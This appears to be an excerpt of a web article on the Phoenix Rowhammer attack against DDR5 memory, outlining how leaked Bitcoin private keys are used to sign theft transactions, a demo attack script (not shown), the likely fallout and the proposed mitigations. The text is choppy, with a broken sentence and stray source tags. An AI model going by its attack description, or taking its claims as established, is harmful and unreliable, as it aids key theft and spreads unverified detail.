A Bitcoin transaction is a digital message consisting of inputs (sources of funds assigned to the victim’s address), outputs (target addresses of the recipient), and a digital signature certifying the sender’s authority .
This sequence illustrates a fundamental vulnerability of cryptographic assets: anyone with a private key can create a protocol-valid transaction to withdraw all funds, regardless of the original owner. Malware—whether it’s the Phoenix Rowhammer exploit —automates these steps: determining the balance, spoofing the recipient address, or creating its own signature transaction with a confiscated key. securelist
The process relies entirely on the blockchain architecture: decentralization and cryptographic reliability of the network do not prevent such attacks if the private key is compromised. The only preventative measures remain hardware and software security at the point of key generation and storage, as well as prompt detection of signs of compromise before a transaction is executed.
Thus, the stage of creating a malicious transaction completes the entire attack chain, giving it a complete economic meaning – an irreversible transfer of funds to the attacker, fully validated by the consensus mechanisms of the Bitcoin network.
The script includes its own implementation of Base58 encoding, which is necessary for creating WIF keys without external dependencies. Each step is accompanied by detailed comments explaining the attacker’s goals and attack mechanisms.
Important Warnings: The code contains multiple warnings stating that it is intended for educational and scientific purposes only. Using similar methods for real-world attacks is a criminal offense.
This demo script is ideal for illustrating the Phoenix Rowhammer attack threat in your research paper and shows readers the full cycle of Bitcoin wallet compromise through DDR5 memory hardware vulnerabilities.
The Phoenix Rowhammer attack poses unprecedented risks to the entire Bitcoin infrastructure, including exchanges, custody services, mining pools, and individual users. Potential consequences include: keyhunters
Mass Compromises: The potential for multiple wallets to be compromised simultaneously on systems with vulnerable DDR5 memory could lead to large-scale cryptocurrency thefts.
Eroding Trust: Successful hardware attacks could seriously undermine trust in cryptocurrency technologies and blockchain systems in general.
Double-spend attacks: When wallets from multiple services are simultaneously compromised, an attacker can use the leaked keys to quickly create conflicting transactions. keyhunters
According to cryptocurrency security research, hardware vulnerabilities pose one of the most serious threats to digital assets. The Phoenix attack exacerbates these risks because: merklescience+1
Unpatching: Unlike software vulnerabilities , hardware defects in memory chips that have already been manufactured cannot be fixed with software updates. tenable+1
Long-term exposure: DDR5 modules manufactured between 2021 and 2024 will remain vulnerable for their entire lifespan, which could be 10-15 years.
Researchers have proposed several methods to protect against Phoenix Rowhammer attacks, although each has its own limitations: tenable+1
Increasing the memory refresh rate: Three times reducing the DRAM refresh interval (tREFI) can effectively prevent the attack, but results in an 8.4% decrease in system performance. This solution also increases the risk of system instability and errors. simplysecuregroup
Using ECC memory: Error Correcting Code memory can detect and correct some types of bit errors, but research has shown that modern ECC implementations do not provide complete protection against sophisticated Rowhammer attacks. comsec-files.ethz+1
Secure Memory Wipe: All applications that handle private keys or seed phrases should explicitly wipe their memory after use using dedicated secure wipe tools .